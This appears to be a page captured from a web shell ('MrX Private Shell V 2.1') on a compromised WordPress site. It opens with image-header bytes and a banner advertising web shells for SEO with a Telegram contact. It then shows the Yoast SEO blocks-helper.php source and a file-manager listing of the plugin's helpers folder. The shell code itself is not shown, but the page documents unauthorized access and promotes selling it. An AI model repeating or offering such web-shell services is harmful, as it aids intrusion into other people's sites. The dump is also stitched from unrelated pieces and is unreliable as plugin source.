����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Helpers;
use WP_Block_Parser_Block;
/**
* A helper object for blocks.
*/
class Blocks_Helper {
/**
* Holds the Post_Helper instance.
*
* @var Post_Helper
*/
private $post;
/**
* Constructs a Blocks_Helper instance.
*
* @codeCoverageIgnore It handles dependencies.
*
* @param Post_Helper $post The post helper.
*/
public function __construct( Post_Helper $post ) {
$this->post = $post;
}
/**
* Returns all blocks in a given post.
*
* @param int $post_id The post id.
*
* @return array The blocks in a block-type => WP_Block_Parser_Block[] format.
*/
public function get_all_blocks_from_post( $post_id ) {
if ( ! $this->has_blocks_support() ) {
return [];
}
$post = $this->post->get_post( $post_id );
return $this->get_all_blocks_from_content( $post->post_content );
}
/**
* Returns all blocks in a given content.
*
* @param string $content The content.
*
* @return array The blocks in a block-type => WP_Block_Parser_Block[] format.
*/
public function get_all_blocks_from_content( $content ) {
if ( ! $this->has_blocks_support() ) {
return [];
}
$collection = [];
$blocks = \parse_blocks( $content );
return $this->collect_blocks( $blocks, $collection );
}
/**
* Checks if the installation has blocks support.
*
* @codeCoverageIgnore It only checks if a WordPress function exists.
*
* @return bool True when function parse_blocks exists.
*/
protected function has_blocks_support() {
return \function_exists( 'parse_blocks' );
}
/**
* Collects an array of blocks into an organised collection.
*
* @param WP_Block_Parser_Block[] $blocks The blocks.
* @param array $collection The collection.
*
* @return array The blocks in a block-type => WP_Block_Parser_Block[] format.
*/
private function collect_blocks( $blocks, $collection ) {
foreach ( $blocks as $block ) {
if ( empty( $block['blockName'] ) ) {
continue;
}
if ( ! isset( $collection[ $block['blockName'] ] ) || ! \is_array( $collection[ $block['blockName'] ] ) ) {
$collection[ $block['blockName'] ] = [];
}
$collection[ $block['blockName'] ][] = $block;
if ( isset( $block['innerBlocks'] ) ) {
$collection = $this->collect_blocks( $block['innerBlocks'], $collection );
}
}
return $collection;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| open-graph | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| Folder | 0755 |
|
||
| aioseo-helper.php | File | 1.24 KB | 0644 |
|
| asset-helper.php | File | 2.52 KB | 0644 |
|
| author-archive-helper.php | File | 5.04 KB | 0644 |
|
| blocks-helper.php | File | 2.32 KB | 0644 |
|
| capability-helper.php | File | 2.07 KB | 0644 |
|
| curl-helper.php | File | 655 B | 0644 |
|
| current-page-helper.php | File | 12.25 KB | 0644 |
|
| date-helper.php | File | 3.13 KB | 0644 |
|
| environment-helper.php | File | 793 B | 0644 |
|
| home-url-helper.php | File | 770 B | 0644 |
|
| image-helper.php | File | 10.32 KB | 0644 |
|
| import-cursor-helper.php | File | 1.36 KB | 0644 |
|
| import-helper.php | File | 716 B | 0644 |
|
| indexable-helper.php | File | 7.1 KB | 0644 |
|
| indexable-to-postmeta-helper.php | File | 6.76 KB | 0644 |
|
| indexables-page-helper.php | File | 4.68 KB | 0644 |
|
| indexing-helper.php | File | 10.83 KB | 0644 |
|
| input-helper.php | File | 662 B | 0644 |
|
| language-helper.php | File | 2.4 KB | 0644 |
|
| meta-helper.php | File | 2.91 KB | 0644 |
|
| notification-helper.php | File | 546 B | 0644 |
|
| options-helper.php | File | 3.87 KB | 0644 |
|
| pagination-helper.php | File | 3.47 KB | 0644 |
|
| permalink-helper.php | File | 1.26 KB | 0644 |
|
| post-helper.php | File | 5.46 KB | 0644 |
|
| post-type-helper.php | File | 4.24 KB | 0644 |
|
| primary-term-helper.php | File | 1.37 KB | 0644 |
|
| product-helper.php | File | 973 B | 0644 |
|
| redirect-helper.php | File | 1.1 KB | 0644 |
|
| request-helper.php | File | 352 B | 0644 |
|
| require-file-helper.php | File | 305 B | 0644 |
|
| robots-helper.php | File | 1.74 KB | 0644 |
|
| robots-txt-helper.php | File | 2.66 KB | 0644 |
|
| sanitization-helper.php | File | 1.03 KB | 0644 |
|
| score-icon-helper.php | File | 2.2 KB | 0644 |
|
| short-link-helper.php | File | 3.3 KB | 0644 |
|
| site-helper.php | File | 566 B | 0644 |
|
| string-helper.php | File | 1.19 KB | 0644 |
|
| taxonomy-helper.php | File | 4.46 KB | 0644 |
|
| url-helper.php | File | 7.32 KB | 0644 |
|
| user-helper.php | File | 3.67 KB | 0644 |
|
| wincher-helper.php | File | 2.37 KB | 0644 |
|
| woocommerce-helper.php | File | 1.28 KB | 0644 |
|
| wordpress-helper.php | File | 512 B | 0644 |
|
| wordproof-helper.php | File | 3.01 KB | 0644 |
|
| wpdb-helper.php | File | 942 B | 0644 |
|